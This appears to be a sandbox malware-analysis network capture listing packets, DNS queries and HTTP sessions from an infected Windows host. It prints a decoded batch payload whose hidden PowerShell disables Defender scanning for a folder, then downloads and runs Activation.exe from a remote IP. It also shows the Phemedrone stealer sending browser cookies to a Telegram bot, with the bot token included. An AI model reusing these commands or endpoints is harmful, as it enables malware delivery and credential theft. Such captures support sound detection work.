Dec 4, 2024 15:12:52.231564999 CET	49841	443	192.168.2.10	149.154.167.220
Dec 4, 2024 15:12:52.231578112 CET	443	49841	149.154.167.220	192.168.2.10
Dec 4, 2024 15:12:52.231837988 CET	443	49841	149.154.167.220	192.168.2.10
Dec 4, 2024 15:12:52.233169079 CET	49841	443	192.168.2.10	149.154.167.220
Dec 4, 2024 15:12:52.275343895 CET	443	49841	149.154.167.220	192.168.2.10
Dec 4, 2024 15:12:52.595263004 CET	49841	443	192.168.2.10	149.154.167.220
Dec 4, 2024 15:12:52.595297098 CET	443	49841	149.154.167.220	192.168.2.10
Dec 4, 2024 15:12:52.595386982 CET	49841	443	192.168.2.10	149.154.167.220
Dec 4, 2024 15:12:52.595407009 CET	443	49841	149.154.167.220	192.168.2.10
Dec 4, 2024 15:12:52.595416069 CET	49841	443	192.168.2.10	149.154.167.220
Dec 4, 2024 15:12:52.595429897 CET	443	49841	149.154.167.220	192.168.2.10
Dec 4, 2024 15:12:52.595442057 CET	49841	443	192.168.2.10	149.154.167.220
Dec 4, 2024 15:12:52.595446110 CET	443	49841	149.154.167.220	192.168.2.10
Dec 4, 2024 15:12:52.595463991 CET	49841	443	192.168.2.10	149.154.167.220
Dec 4, 2024 15:12:52.595470905 CET	443	49841	149.154.167.220	192.168.2.10
Dec 4, 2024 15:12:52.595536947 CET	49841	443	192.168.2.10	149.154.167.220
Dec 4, 2024 15:12:52.595550060 CET	443	49841	149.154.167.220	192.168.2.10
Dec 4, 2024 15:12:52.595571995 CET	49841	443	192.168.2.10	149.154.167.220
Dec 4, 2024 15:12:52.595668077 CET	49841	443	192.168.2.10	149.154.167.220
Dec 4, 2024 15:12:52.595668077 CET	443	49841	149.154.167.220	192.168.2.10
Dec 4, 2024 15:12:52.595684052 CET	443	49841	149.154.167.220	192.168.2.10
Dec 4, 2024 15:12:52.595695019 CET	49841	443	192.168.2.10	149.154.167.220
Dec 4, 2024 15:12:52.595704079 CET	443	49841	149.154.167.220	192.168.2.10
Dec 4, 2024 15:12:52.595714092 CET	49841	443	192.168.2.10	149.154.167.220
Dec 4, 2024 15:12:52.595724106 CET	443	49841	149.154.167.220	192.168.2.10
Dec 4, 2024 15:12:52.595781088 CET	49841	443	192.168.2.10	149.154.167.220
Dec 4, 2024 15:12:52.595788002 CET	443	49841	149.154.167.220	192.168.2.10
Dec 4, 2024 15:12:52.595869064 CET	49841	443	192.168.2.10	149.154.167.220
Dec 4, 2024 15:12:52.595875978 CET	443	49841	149.154.167.220	192.168.2.10
Dec 4, 2024 15:12:52.595938921 CET	49841	443	192.168.2.10	149.154.167.220
Dec 4, 2024 15:12:52.595948935 CET	443	49841	149.154.167.220	192.168.2.10
Dec 4, 2024 15:12:52.595993042 CET	49841	443	192.168.2.10	149.154.167.220
Dec 4, 2024 15:12:52.595999956 CET	443	49841	149.154.167.220	192.168.2.10
Dec 4, 2024 15:12:52.596060038 CET	49841	443	192.168.2.10	149.154.167.220
Dec 4, 2024 15:12:52.596067905 CET	443	49841	149.154.167.220	192.168.2.10
Dec 4, 2024 15:12:52.596085072 CET	49841	443	192.168.2.10	149.154.167.220
Dec 4, 2024 15:12:52.596095085 CET	443	49841	149.154.167.220	192.168.2.10
Dec 4, 2024 15:12:52.596112013 CET	49841	443	192.168.2.10	149.154.167.220
Dec 4, 2024 15:12:52.596120119 CET	443	49841	149.154.167.220	192.168.2.10
Dec 4, 2024 15:12:52.596129894 CET	49841	443	192.168.2.10	149.154.167.220
Dec 4, 2024 15:12:52.596152067 CET	49841	443	192.168.2.10	149.154.167.220
Dec 4, 2024 15:12:52.596152067 CET	49841	443	192.168.2.10	149.154.167.220
Dec 4, 2024 15:12:52.606822014 CET	49841	443	192.168.2.10	149.154.167.220
Dec 4, 2024 15:12:52.606832981 CET	443	49841	149.154.167.220	192.168.2.10
Dec 4, 2024 15:12:52.848130941 CET	443	49841	149.154.167.220	192.168.2.10
Dec 4, 2024 15:12:52.888094902 CET	49841	443	192.168.2.10	149.154.167.220
Dec 4, 2024 15:12:55.060060978 CET	443	49841	149.154.167.220	192.168.2.10
Dec 4, 2024 15:12:55.060725927 CET	443	49841	149.154.167.220	192.168.2.10
Dec 4, 2024 15:12:55.060798883 CET	49841	443	192.168.2.10	149.154.167.220
Dec 4, 2024 15:12:55.073843956 CET	49841	443	192.168.2.10	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 4, 2024 15:12:30.342886925 CET	57685	53	192.168.2.10	1.1.1.1
Dec 4, 2024 15:12:30.572448015 CET	53	57685	1.1.1.1	192.168.2.10
Dec 4, 2024 15:12:47.316026926 CET	61083	53	192.168.2.10	1.1.1.1
Dec 4, 2024 15:12:47.454375029 CET	53	61083	1.1.1.1	192.168.2.10
Dec 4, 2024 15:12:49.357449055 CET	63054	53	192.168.2.10	1.1.1.1
Dec 4, 2024 15:12:49.495518923 CET	53	63054	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 4, 2024 15:12:30.342886925 CET	192.168.2.10	1.1.1.1	0x454c	Standard query (0)	update.filezilla-project.org	A (IP address)	IN (0x0001)	false
Dec 4, 2024 15:12:47.316026926 CET	192.168.2.10	1.1.1.1	0xb66c	Standard query (0)	get.geojs.io	A (IP address)	IN (0x0001)	false
Dec 4, 2024 15:12:49.357449055 CET	192.168.2.10	1.1.1.1	0xb559	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 4, 2024 15:11:50.117187977 CET	1.1.1.1	192.168.2.10	0x3a25	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 4, 2024 15:11:50.117187977 CET	1.1.1.1	192.168.2.10	0x3a25	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 4, 2024 15:12:30.572448015 CET	1.1.1.1	192.168.2.10	0x454c	No error (0)	update.filezilla-project.org		49.12.121.47	A (IP address)	IN (0x0001)	false
Dec 4, 2024 15:12:47.454375029 CET	1.1.1.1	192.168.2.10	0xb66c	No error (0)	get.geojs.io		172.67.70.233	A (IP address)	IN (0x0001)	false
Dec 4, 2024 15:12:47.454375029 CET	1.1.1.1	192.168.2.10	0xb66c	No error (0)	get.geojs.io		104.26.1.100	A (IP address)	IN (0x0001)	false
Dec 4, 2024 15:12:47.454375029 CET	1.1.1.1	192.168.2.10	0xb66c	No error (0)	get.geojs.io		104.26.0.100	A (IP address)	IN (0x0001)	false
Dec 4, 2024 15:12:49.495518923 CET	1.1.1.1	192.168.2.10	0xb559	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

get.geojs.io

api.telegram.org

45.200.148.86

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49780	45.200.148.86	80	5924	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 15:12:22.767199993 CET	117	OUT	GET /edcf12dd-a024-4e17-9ac8-333ede06915f.bat HTTP/1.1 Host: 45.200.148.86 User-Agent: curl/7.83.1 Accept: /
Dec 4, 2024 15:12:24.004633904 CET	460	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 04 Dec 2024 14:12:23 GMT Content-Type: application/octet-stream Content-Length: 208 Last-Modified: Wed, 04 Dec 2024 11:54:43 GMT Connection: keep-alive ETag: "67504303-d0" Accept-Ranges: bytes Data Raw: 3a 6d 61 69 6e 0d 0a 70 6f 77 65 72 73 68 65 6c 6c 20 2d 57 69 6e 64 6f 77 53 74 79 6c 65 20 68 69 64 64 65 6e 20 41 64 64 2d 4d 70 50 72 65 66 65 72 65 6e 63 65 20 2d 45 78 63 6c 75 73 69 6f 6e 50 61 74 68 20 24 65 6e 76 3a 4c 4f 43 41 4c 41 50 50 44 41 54 41 3b 63 64 20 24 65 6e 76 3a 4c 4f 43 41 4c 41 50 50 44 41 54 41 3b 49 6e 76 6f 6b 65 2d 57 65 62 52 65 71 75 65 73 74 20 68 74 74 70 3a 2f 2f 34 35 2e 32 30 30 2e 31 34 38 2e 38 36 2f 41 63 74 69 76 61 74 69 6f 6e 2e 65 78 65 20 2d 4f 75 74 46 69 6c 65 20 41 63 74 69 76 61 74 69 6f 6e 2e 65 78 65 3b 2e 2f 41 63 74 69 76 61 74 69 6f 6e 2e 65 78 65 3b 65 78 69 74 Data Ascii: :mainpowershell -WindowStyle hidden Add-MpPreference -ExclusionPath $env:LOCALAPPDATA;cd $env:LOCALAPPDATA;Invoke-WebRequest http://45.200.148.86/Activation.exe -OutFile Activation.exe;./Activation.exe;exit

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49792	45.200.148.86	80	1264	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 15:12:26.887080908 CET	172	OUT	GET /Activation.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 45.200.148.86 Connection: Keep-Alive
Dec 4, 2024 15:12:28.119632006 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 04 Dec 2024 14:12:27 GMT Content-Type: application/octet-stream Content-Length: 3361979 Last-Modified: Wed, 04 Dec 2024 11:50:13 GMT Connection: keep-alive ETag: "675041f5-334cbb" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 7a 3d 50 67 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 dc 01 00 00 08 00 00 00 00 00 00 58 e0 56 00 00 20 00 00 00 00 02 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 89 00 00 04 00 00 4d 6c 33 00 02 00 60 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3a 40 02 00 50 00 00 00 00 60 02 00 c0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELz=Pg"0XV @ @Ml3`:@P` j ` @@ @B.imports @@.rsrc `@@.themida`T`.bootZ2VX2``
Dec 4, 2024 15:12:28.119724035 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 ad fc fd 31 00 6a 32 ea fe 27 fd eb 84 f3 0f 1c 79 40 d8 09 75 49 e8 eb 91 31 14 31 02 6b 01 df cd Data Ascii: 1j2'y@uI11kA')9Y_J3"3@j!\|YT7#Ii[\^CN9[ucxAy`+ MuK\|U;J;^/FLV)Z&
Dec 4, 2024 15:12:28.119738102 CET	1236	IN	Data Raw: 3f be 3b 03 bf cb 87 d2 a2 bd 85 1a a3 ab b3 1d cb d7 d0 d9 8c b8 d2 95 a9 3e fd 5c 6a d8 20 19 7d d7 92 05 fd cd 74 0e 04 d7 7f 34 50 5d 6f 2d d6 23 16 4e 52 4f da 7b 03 80 fb da f4 d7 9e 64 06 fc 93 d7 ef 01 da 7e fa 3b 1c f5 f2 d1 15 0c 73 bd Data Ascii: ?;>\j }t4P]o-#NRO{d~;sS!`koN^~q&nO"Z<rm]PR7SMl@Z^!C^*');}6sH9M@QenAuEP^y(=SE
Dec 4, 2024 15:12:28.119777918 CET	372	IN	Data Raw: 9a 50 9b a0 02 df 64 fe fa d3 e3 41 71 d4 fa 24 b9 ee 4a 87 cd dc c4 f8 0f a8 23 37 6e bc 92 6c ed f7 24 bd 51 d9 47 39 35 3b c4 d6 8f ca 1b 04 c7 a2 d1 a6 19 0a 2f 99 ef ff 49 9f f8 90 26 ee f6 d1 29 a2 13 d8 dd 4d fa b4 2a 9c 6b 80 1c d8 d8 0e Data Ascii: PdAq$J#7nl$QG95;/I&)MkT#?6D\ pf$sM2dj-L-FOU3k\f/9')3u(>C[_kz8OWXTo%=$wN/]xKMc
Dec 4, 2024 15:12:28.197740078 CET	1236	IN	Data Raw: d3 37 8c 31 af 11 cd 9d dc 7f a0 72 3a fa f8 2a 2d 49 f9 99 f5 69 a2 77 67 0d 21 54 8f f4 16 58 2f 8b b8 db 57 6a 0a 84 62 bf 23 f5 f2 36 ef cf 0e d9 14 0f 0b bf 16 91 69 af a9 d7 d9 cb 92 8d d6 bc 8c e5 0c fe f4 7a a1 f6 15 dd e3 cd ac 6e f8 07 Data Ascii: 71r:*-Iiwg!TX/Wjb#6iznb) vt0(A%wt%"Y{j0(XC@OAOE'&!A>&p%<U=HsQ$J12q"z)A3OsCJ
Dec 4, 2024 15:12:28.197889090 CET	1236	IN	Data Raw: fd d6 fb f7 0b fd 28 a1 35 dd 49 c7 cf 73 4b 96 00 f5 7d db f2 ce 15 22 1f c8 cd 98 5c d6 44 b0 e2 68 2b dd c6 e3 c2 40 c3 02 7e 05 37 c8 2a ef f5 ab aa d7 de 50 56 e3 d1 b7 6b 84 d6 bc 85 95 4a 90 7a f2 3f c1 5f 2f 6d 25 a4 b3 64 cd a8 ea 9d f7 Data Ascii: (5IsK}"\Dh+@~7PVkJz?_/m%d2ca$ywPX!T*\Dg6t<cg8z7zeo)%\|J5>a;?_~Fs5E-ZAf8n/ EK#xKAhr`'/$~.
Dec 4, 2024 15:12:28.197907925 CET	1236	IN	Data Raw: 26 82 95 83 db f5 7b 83 cb ec fc 5f 6b 47 42 b9 74 bb 7d d4 bf c7 15 88 2a 3c 61 f1 28 96 53 bb 21 ef 5b 41 8a ce a5 f3 09 79 49 d7 e6 88 48 51 76 72 97 31 01 c1 b8 07 7e cc dd ba f7 3d 2e 03 ba 71 64 3f eb ce 9d e8 07 9f e6 06 23 a1 2b 92 ea 66 Data Ascii: &{_kGBt}<a(S![AyIHQvr1~=.qd?#+f)xNSlRMlqyg}T{Mo!$@["nvkJ^`!r)5MZ/P!Zv"gk@M\|7mSn/,q,M+]\K&\qy*-dmY01qf
Dec 4, 2024 15:12:28.197921038 CET	1236	IN	Data Raw: 95 9f 96 d0 f1 02 a6 5d 3b d7 e7 b5 ee a1 6e cf 3e fe 53 b3 c6 da 09 f3 70 9d 21 5c 0a 8d e9 8d eb 55 38 10 f9 a3 9c 60 63 df 97 64 53 ec 70 c0 6d 61 a0 f0 b7 20 1d d4 47 5b 5a 83 33 cc 57 d8 c1 e4 2a 8d 38 c9 37 d3 f6 91 0d ed ed e6 53 f2 54 5e Data Ascii: ];n>Sp!\U8`cdSpma G[Z3W87ST^B,h}Z73k(&NPx2]\t{O-1VZ)?X.)uw4/$IY(cqO;!z+A`[5OHf
Dec 4, 2024 15:12:28.197931051 CET	1236	IN	Data Raw: ed 9f ea 8e f0 d2 53 0c ae 0e a9 af 97 85 ad 01 cd 61 e7 f7 41 90 42 16 bd 12 5f d5 08 a0 68 33 fb 6e 64 a0 8b 98 e4 ec a9 64 1b f5 f1 d9 14 f9 af d1 11 2e 9f 9a 8e 00 b9 53 f0 77 0b f8 c5 1e 22 0a 0b 10 8f e4 61 5e 5c e2 44 8a bd 86 fa d8 ac 4b Data Ascii: SaAB_h3ndd.Sw"a^\DKN\|JPQ,kkmuO1ET89H{^WWe"kdy^CDblSc47M^}1oym`y)$(oE~(A&
Dec 4, 2024 15:12:28.197943926 CET	1236	IN	Data Raw: 0b dd 15 b0 2b c4 2a dd 63 8a 5b f6 71 87 ea 41 1f fc 30 0e ec c6 86 42 4f 14 99 31 e0 fc a9 8b 19 45 ab 1e 3d 21 5e d7 c3 e6 b1 9d 01 9e be 0f 2c af ea c3 da 95 17 df 79 99 a3 a5 ba 63 56 a6 1d bc 9f bc aa eb 14 81 6d 4c 6e dd 1a 81 74 1d 29 8d Data Ascii: +*c[qA0BO1E=!^,ycVmLnt)F =9Ac,I!F-e$\o,14.;q+)<vO/P,F<j$on7" OO{odf2uoi'<eVC}Ch
Dec 4, 2024 15:12:28.240022898 CET	1236	IN	Data Raw: 72 44 ee 76 e9 56 aa ff 57 45 99 0b f2 d5 45 d4 e0 ea 61 b7 56 76 0b ae c4 3a 5f e8 12 a2 87 e8 c3 0d 96 14 ff d0 3b aa fc 86 3b 65 43 03 9b e3 e8 3e 46 0c 2e 98 87 70 b9 1a aa 0d f1 42 ab 0f 73 91 63 58 2c eb 88 84 d5 4c 5e 27 69 be aa d7 26 51 Data Ascii: rDvVWEEaVv:_;;eC>F.pBscX,L^'i&Qt.~WB9La#\|FGoev>gI@9r-LGrB"S"fgGO?Lsu7rk{auI"}}Em>D2~}~r@#rfH<OT

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49836	172.67.70.233	443	2044	C:\Users\user\AppData\Local\Activation.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 14:12:48 UTC	76	OUT	GET /v1/ip/geo.json HTTP/1.1 Host: get.geojs.io Connection: Keep-Alive
2024-12-04 14:12:49 UTC	1126	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 14:12:48 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-request-id: ac822a11006f0c41358991126153a008-ASH strict-transport-security: max-age=15552000; includeSubDomains; preload access-control-allow-origin: * access-control-allow-methods: GET pragma: no-cache Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 geojs-backend: ash-01 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QfKL30CU9M8jFEq%2BMAQyrKTsIMDo6e7yheSjURMSygDsCo2qbRYWnVT8DEIRswzsjpIYU2RA74SngT44IcLgodnig6OIqNBmpxacSBk%2But%2FXvMHhGw%2Fcrceoks%2Futw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8ecc64bdf8c88c27-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1797&min_rtt=1795&rtt_var=675&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=690&delivery_rate=1626740&cwnd=243&unsent_bytes=0&cid=d7eb94254cd6c364&ts=475&x=0"
2024-12-04 14:12:49 UTC	243	IN	Data Raw: 31 34 36 0d 0a 7b 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 5c 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 61 63 63 75 72 61 63 79 22 3a 32 30 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 61 73 6e 22 3a 33 33 35 36 2c 22 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 22 41 53 33 33 35 36 20 4c 45 56 45 4c 33 22 2c 22 61 72 65 61 5f 63 6f 64 65 22 3a 22 30 22 2c 22 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 5f 6e 61 6d 65 22 3a 22 4c 45 56 45 4c 33 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 33 22 3a 22 55 53 41 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 5f 63 6f 64 65 22 3a 22 4e 41 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 Data Ascii: 146{"timezone":"America\/New_York","accuracy":20,"city":"New York","asn":3356,"organization":"AS3356 LEVEL3","area_code":"0","organization_name":"LEVEL3","country_code":"US","country_code3":"USA","continent_code":"NA","country":"United State
2024-12-04 14:12:49 UTC	90	IN	Data Raw: 73 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 22 34 30 2e 37 31 32 33 22 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 22 2d 37 34 2e 30 30 36 38 22 2c 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 32 32 38 22 7d 0a 0d 0a Data Ascii: s","region":"New York","latitude":"40.7123","longitude":"-74.0068","ip":"8.46.123.228"}
2024-12-04 14:12:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49841	149.154.167.220	443	2044	C:\Users\user\AppData\Local\Activation.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 14:12:52 UTC	384	OUT	POST /bot7772275304:AAF3OSvWBzn5cIHkGD9ueBFz5ed91u-60-U/sendDocument HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/602.37 (KHTML, like Gecko) Chrome/49.0.1422.399 Safari/600 Content-Type: multipart/form-data; boundary=----------------------------8dd1443d25ea734 Host: api.telegram.org Content-Length: 242345 Expect: 100-continue Connection: Keep-Alive
2024-12-04 14:12:52 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 34 34 33 64 32 35 65 61 37 33 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5b 55 53 5d 38 2e 34 36 2e 31 32 33 2e 32 32 38 2d 50 68 65 6d 65 64 72 6f 6e 65 2d 52 65 70 6f 72 74 2e 7a 69 70 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 50 4b 03 04 14 00 00 00 00 00 96 49 84 59 ac 42 f7 11 1f 01 00 00 1f 01 00 00 28 00 48 00 42 72 6f 77 73 65 72 20 44 61 74 61 2f 43 68 72 6f 6d 65 2f 43 6f 6f 6b 69 65 73 5b 44 65 66 61 75 6c 74 5d Data Ascii: ------------------------------8dd1443d25ea734Content-Disposition: form-data; name="document"; filename="[US]8.46.123.228-Phemedrone-Report.zip"Content-Type: application/octet-streamPKIYB(HBrowser Data/Chrome/Cookies[Default]
2024-12-04 14:12:52 UTC	16355	OUT	Data Raw: 50 1f ea 58 87 12 eb 30 27 5a 0f 72 0f 72 11 a2 2f d1 c6 1c db 98 b9 77 15 64 3c aa d2 ad 3d 5f 97 fa b5 d4 9a ab db f9 5a 20 26 da b8 16 80 3c 84 58 84 74 04 10 7f 91 02 b5 be 66 42 be 41 02 42 08 9a 59 81 91 da 45 5a ec e9 23 bd 90 76 7e 1d 0f ff 88 d7 53 df 01 9f 58 5d f5 bd a9 a3 3e 7f 0b b6 31 f4 c5 6a ab 7a 6d f5 37 29 50 7b 62 df 3a 6a 5e a8 0d 71 e8 d6 48 08 44 b4 b5 38 f4 d7 e5 40 00 7e ae 69 3a eb 14 8d 58 7d 38 20 1b 19 58 4a 00 26 c9 bf 63 e9 c5 df 5c e6 50 c0 1b eb 4e d0 9a 23 e7 69 f8 86 e3 e4 0c 3b f3 d3 32 fc 6c 5a be 39 36 8e be f9 78 8c 62 74 02 b4 4f cc a0 af 8f cf a4 b3 9b 7a d2 99 b5 9d e9 ec ba fb e9 ac 16 81 5d e9 fc c6 07 e9 fc a6 6e 74 61 f3 c3 f4 e9 96 ee f4 d9 47 3d e8 b3 ed 8f d1 17 3b 7a d2 17 3b 7b d1 97 bb 9e d0 7c b5 e7 49 Data Ascii: PX0'Zrr/wd<=_Z &<XtfBABYEZ#v~SX]>1jzm7)P{b:j^qHD8@~i:X}8 XJ&c\PN#i;2lZ96xbtOz]ntaG=;z;{\|I
2024-12-04 14:12:52 UTC	16355	OUT	Data Raw: de 3c 4e de 90 c3 14 19 2c 02 50 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 a2 f2 e3 aa 66 03 f4 43 40 20 00 39 03 10 02 30 5e 37 f9 29 c0 99 64 00 22 bb 4f 4b 3d bf cd 19 7f 2c 00 21 fe 98 40 1a 5a e4 1f 67 01 02 73 8c 65 21 ee 03 c8 c7 83 2b 2c 00 59 e4 d9 e4 1f 48 92 7d 36 d2 08 40 f7 dd 0b e4 bd 73 9e bc e1 9f 90 37 ec 4c 92 00 74 5f de 43 d5 7a 4f f0 ff 0c 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 95 13 57 35 2d 11 80 78 08 48 ac d6 7b 5a 00 c6 ea cc a6 58 dd 79 14 d5 4f 00 2e 79 0a 30 04 20 ee 01 08 f9 07 09 08 c1 07 38 db 0f 02 90 e5 1e cb 3f f4 01 d4 59 18 b2 10 e4 4c 3f 16 7f b8 07 20 32 fb 00 ea 2c fa 50 87 04 84 fc 63 19 98 13 01 68 93 7e d9 50 56 06 60 2a 01 e8 bd b2 97 aa cb 3d 00 25 24 24 24 24 24 24 24 24 24 24 24 24 24 24 Data Ascii: <N,PBBBBBBBBBBBBBBBBfC@ 90^7)d"OK=,!@Zgse!+,YH}6@s7Lt_CzOW5-xH{ZXyO.y0 8?YL? 2,Pch~PV`*=%$$$$$$$$$$$$$$
2024-12-04 14:12:52 UTC	16355	OUT	Data Raw: f9 1e 80 a6 fc 03 17 53 00 82 2f 0f 1d a4 1f 7f fc 91 7e f8 e1 07 2d 00 8f 4c 7b bf f2 32 00 f5 ff a8 4f 16 29 41 36 8a ff ff fd 2f f9 1f f9 20 d5 9e e9 91 1f 93 97 5f 54 f4 c7 64 a9 3e db f7 c9 ef 0b fe c7 3d d0 22 24 bc 57 19 6d fc e0 0c f6 e0 fe 2c f6 48 f9 3a 78 6e 7a e4 fb 7d f9 45 f9 be df e6 77 24 24 a0 6d df c1 34 df f9 52 7d be 30 99 da 41 ad 45 d6 aa 6e 23 5b d0 dc 2b c5 bf d5 e1 ef b6 b1 5f 62 6e f8 bb 5f 36 f2 9d be fc 22 a7 df e9 6c be 6f e5 f8 7e 81 cb f5 3b 96 fd e7 9c 99 00 d4 c7 7f 53 08 2e 8c 65 27 00 13 22 2d 49 ba 25 cd 4f 8c 97 c8 bc 74 f3 c3 32 d0 bc 9e fa de f0 6b 86 c0 0c 64 5e 59 63 c6 7b 50 63 89 eb 96 f5 9a cd be d4 64 22 00 41 58 02 a6 93 7f 40 04 a0 20 08 82 20 24 c3 4f 01 c6 11 e0 68 8d c9 fa 08 30 04 60 b4 f6 6c 8a d5 5d 40 Data Ascii: S/~-L{2O)A6/ _Td>="$Wm,H:xnz}Ew$$m4R}0AEn#[+_bn_6"lo~;S.e'"-I%Ot2kd^Yc{Pcd"AX@ $Oh0`l]@
2024-12-04 14:12:52 UTC	16355	OUT	Data Raw: fc ad d5 6c dc f6 b3 09 d8 f8 ec 49 a8 b8 b7 13 05 20 21 84 10 42 08 21 84 10 42 08 09 24 48 ea 25 13 5b 00 a6 76 1a 6c 2a 00 6d 01 98 92 f3 12 52 72 67 22 b5 70 ae d9 04 24 62 24 a0 d7 06 6c 0b c0 da e4 9f 46 2a ff 44 fa 69 2b b0 bd 16 a0 a9 0a cc 9b 6f 2a ff 24 2a f8 b4 12 50 ee c9 d1 96 83 72 5f c5 a0 a4 f1 02 f0 ef 1b f0 79 9b 32 a0 5b a7 44 09 d8 3d 26 01 cf 3d 0d f8 cd 29 c0 45 6d bc 75 01 87 ff 2f 1e 2a 7b 18 7d da be 84 2b 3a cd c1 e5 79 8b 71 79 e9 2a 5c de fb 15 5c 71 de 9b f8 ed f9 9b 70 e5 f9 ef e0 0f bf d9 8c 3f ff fa 3d 5c d7 6b 33 6e 2a 7d 17 b7 e6 bd 85 3b ba bc 8e 3b 33 d7 e0 8e d3 16 e2 b6 8c e9 b8 e9 27 63 b0 79 e0 8f 51 f1 77 56 00 12 42 08 21 84 10 42 08 21 84 90 60 82 a4 5e 32 b1 5b 80 65 17 60 d9 04 c4 ac 01 98 33 c9 b4 00 47 f2 a6 Data Ascii: lI !B!B$H%[vlmRrg"p$b$lFDi+o$Pr_y2[D=&=)Emu/{}+:yqy\\qp?=\k3n*};;3'cyQwVB!B!`^2[e`3G
